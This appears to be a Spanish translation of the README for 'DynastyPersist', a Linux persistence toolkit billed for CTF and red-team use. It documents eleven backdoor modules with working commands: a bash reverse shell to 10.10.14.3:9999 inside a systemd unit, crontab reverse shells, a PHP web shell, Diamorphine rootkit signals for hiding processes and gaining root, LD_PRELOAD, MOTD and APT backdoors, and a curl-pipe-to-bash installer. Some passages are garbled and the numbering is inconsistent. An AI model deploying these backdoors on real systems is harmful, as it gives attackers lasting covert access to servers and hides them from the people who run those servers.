
Kit de herramientas de persistencia en Linux con 11 módulos para puertas traseras de claves SSH, cronjobs, servicios systemd, rootkits LKM y escalada de privilegios LD_PRELOAD. Diseñado para competiciones CTF y operaciones de equipo rojo.

Obtén acceso a un servidor usando la generación de claves ssh. Este módulo crea una clave id_rsa para cada usuario. Que puede usarse para acceso inverso. Después de ejecutar este módulo, el atacante puede conectarse al servidor mediante ssh.
Esto se puede hacer manualmente usando el comando ssh-keygen. Sin embargo, el módulo crea una clave privada para cada usuario en poco tiempo.
root@kali ~ ssh -i id_rsa [email protected]
1Los cronjobs en Linux son tareas programadas que se ejecutan automáticamente a intervalos especificados.
Uno de los módulos más eficientes, que involucra shells inversas. Este módulo escribe directamente comandos de shell inversa en /etc/crontab. Lo que abrirá una shell en el puerto que estás escuchando.
root@kali ~ nc -nvlp 9999
2ssh.root@kali ~ ssh [email protected]
3Este módulo viene con un script php alojado en el directorio raíz web. El script se encuentra en /var/www/html/dynasty_rce/rce.php. Además, el prefijo dynasty_rce puede ocultarse si el módulo LKM se ejecuta antes.
Visitar victim_ip:port/dynasty_rce/rce.php te dará el poder de ejecutar comandos dentro de la shell.
Número de Módulo: 4
Un método avanzado de persistencia, que implanta un rootkit en el kernel del servidor. El programa se centra en un rootkit LKM de código abierto llamado Diamorphine. El módulo se encuentra en /var/tmp/.memory como ubicación temporal. Este directorio se elimina después de configurar el módulo.
El siguiente bloque de código muestra los usos de este módulo.
victim@ubuntu ~ kill -64 0 # Promueve a usuario root.
victim@ubuntu ~ mkdir dynasty_persist # Cualquier directorio que comience con dynasty se ocultará.
victim@ubuntu ~ kill -31 <process> # Oculta procesos
victim@ubuntu ~ lsmod | grep -i diamorphine # Se oculta a sí mismo
victim@ubuntu ~ kill -63 0 # Lo hace aparecer en la salida de lsmod
5find o cat.root@kali ~ nc -nvlp 9999
6Un módulo que crea un servicio personalizado en systemd para acceso inverso.
Un ejemplo:
Description=Dynasty Persist
[Service]
ExecStart=sudo bash /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.3/9999 0>&1'
Restart=always
RestartSec=30
[Install]
WantedBy=default.target"
El ejemplo anterior se creará como un servicio. Este método es eficiente y duradero.
Número de Módulo: 7
LD_PRELOAD es una variable de entorno en Linux que permite a los usuarios precargar una biblioteca compartida antes que otras bibliotecas. La escalada de privilegios usando LD_PRELOAD implica cargar una biblioteca maliciosa para interceptar y modificar llamadas al sistema, potencialmente obteniendo privilegios elevados. El módulo coloca un backdoor en comandos como find y wget.
Número de Módulo: 8
El "Mensaje del Día" (MOTD) en Linux es un texto personalizable que se muestra a los usuarios al iniciar sesión, proporcionando información o actualizaciones sobre el sistema. Normalmente se almacena en el archivo /etc/motd y puede ser modificado por los administradores del sistema.
Este módulo escribe una shell en /etc/update-motd.d/00-header. Esto se activa típicamente cuando un usuario inicia sesión.
Número de Módulo: 9
Similar al módulo 7, este modifica un servicio existente para acceso inverso.
Simplemente, reescribe ExecStartPre en el servicio con un comando de shell inversa.
Número de Módulo: 10
"APT" significa Advanced Package Tool, y se usa comúnmente en sistemas basados en Debian como Ubuntu. El archivo estará aquí: /etc/apt/apt.conf.d/42backdoor
Coloca un backdoor en el comando apt, cada vez que se ejecute apt abrirá una shell.
Número de Módulo: 11
Actualmente, hay 2 modos disponibles en la última actualización (1.4).
Los modos son console y ctf que están diseñados para funcionar con un comportamiento específico.
En comparación, el modo console viene con más funciones y estabilidad que el modo ctf.
El modo console inicia la herramienta en la configuración habitual, con todas las funciones. Estas funciones se ejecutarán localmente en el host local donde se está ejecutando el script. Diseñado para persistencia en operaciones en tiempo real.
El prefijo use seguido del número de módulo se usará para ejecutar cualquier módulo seleccionado. Por ejemplo, use 1
Además, la interfaz se actualiza; los módulos/payloads ahora son visibles cuando escribes show payloads.
Por último, el menú de ayuda/opciones también se modifica; ingresa show options para verlo.
El modo ctf es una característica adicional para iniciar sesión en un servidor comprometido a través de SSH y obtener persistencia. Este complemento ayudará mucho en KoTH o Battlegrounds. Además, ahorrará mucho tiempo dedicado a configurar la persistencia.
Ejecuta la mayoría de las funciones de console.
$ ./dynasty.sh <lhost> <lport> <mode>
$ ./dynasty.sh ctf
$ ./dynasty.sh 10.10.14.3 9999 console
Mediante Git
$ git clone https://github.com/Trevohack/DynastyPersist
$ cd DynastyPersist/src
Mediante Curl
$ curl -sSL https://raw.githubusercontent.com/Trevohack/DynastyPersist/main/src/dynasty.sh | bash
| Características | Descripción |
|---|
| Generación de Claves SSH | Genera automáticamente claves SSH para acceso encubierto. |
| Persistencia mediante Cronjob | Configura cronjobs para persistencia programada. |
| Usuario Personalizado con Root | Crea un usuario personalizado con privilegios root. |
| Persistencia RCE | Logra persistencia mediante ejecución remota de código. |
| LKM/Rootkit | Demuestra persistencia mediante rootkit basado en Módulo del Kernel de Linux (LKM). |
| Persistencia en Bashrc | Modifica archivos de inicialización de shell específicos del usuario para persistencia (aliases / shells inversas). |
| Servicio systemd para Root | Configura un servicio systemd para lograr persistencia root. |
| Configuración de Escalada de Privilegios LD_PRELOAD | Configura LD_PRELOAD para escalada de privilegios. |
| Backdoor en Mensaje del Día / Header | Coloca un backdoor en la visualización del mensaje del sistema para acceso encubierto. |
| Modificar un Servicio systemd Existente | Manipula un servicio systemd existente para persistencia. |
| Backdoor en el Comando APT | Coloca un backdoor en el comando apt para abrir una shell. |